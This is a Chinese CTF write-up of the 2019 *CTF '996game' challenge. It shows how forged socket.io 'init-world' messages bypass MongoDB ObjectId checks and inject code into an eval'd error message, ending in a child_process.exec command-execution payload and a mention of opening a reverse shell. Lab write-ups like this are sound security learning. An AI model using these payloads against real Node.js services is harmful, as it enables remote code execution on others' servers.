2019-starCTF-996game-wp

前言

为了复现这道题,五一前特地去学了nodejs,菜是原罪2333。

解题过程


拿到题目,发现这是fork了github了一个项目: https://github.com/Jerenaux/phaserquest
首先肯定是先down下来题目的源码,发现GameServer.js的loadPlayer方法的回调函数里面会eval报错信息。

阅读代码发现,监听了init-world,我们试着看看正常的payload是怎样的,方便晚点伪造。
image.png
image.png
显然,正常的payload是不能够调用loadPlayer的,我们需要控制data.new位false,从而进入第二个分支。
但是如何让data.new变为false呢,这里我们直接构造类似如下在浏览器控制台手动触发,但是怎么构造id呢?

1
Client.socket.emit('init-world',{new:false,name:"asdf",id:"asd",clientTime:"1557049699771"});

参考mongodb文档:https://github.com/mongodb/js-bson/blob/V1.0.4/lib/bson/objectid.js#L28
image.png
所以我们可以构造如下,来绕过

1
Client.socket.emit('init-world',{new:false,name:"asdf",id:{"id":{"length":12}},clientTime:"1557049699771"});

image.png
但是调用loadPlayer出了问题
image.png
image.png
发现这样构造,在new ObjectId(id)中会报错,但是这里的报错信息我们无法控制,已经写死在里面了,那么我们又得想办法是valid为Ture,这里很简单,上面源码中已经有提示了
image.png
所以我们只需要要构造如下

1
Client.socket.emit('init-world',{new:false,name:"asdf",id:{"toHexString":true,"id":{"length":12}},clientTime:"1557049699771"});

image.png
这里,我们完美的绕过了id,接下来应该是findOne的报错了。
题目给了一个hint

1
db.a.find({"b":{"$gt":1,"c":"d"}})


看到报错,题目很显然了,这里我们可以控制的是c,那么我们按部就班直接构造

1
Client.socket.emit('init-world',{new:false,name:"asdf",id:{"$gt":1,"require('child_process').exec('ls')":"bbb","toHexString":true,"id":{"length":12}},clientTime:"1557049699771"});

image.png
接下来就是直接的反弹shell拿flag,这里复现的时候题目关了,所以直接本地写了个flag,原题是需要在写一个交互的,由于跟mywebsql的payload一样,这里环境没有搭(图来自@Chris Ju,flag是我朋友写的,wtcl)
image.png

-------------本文结束感谢您的阅读-------------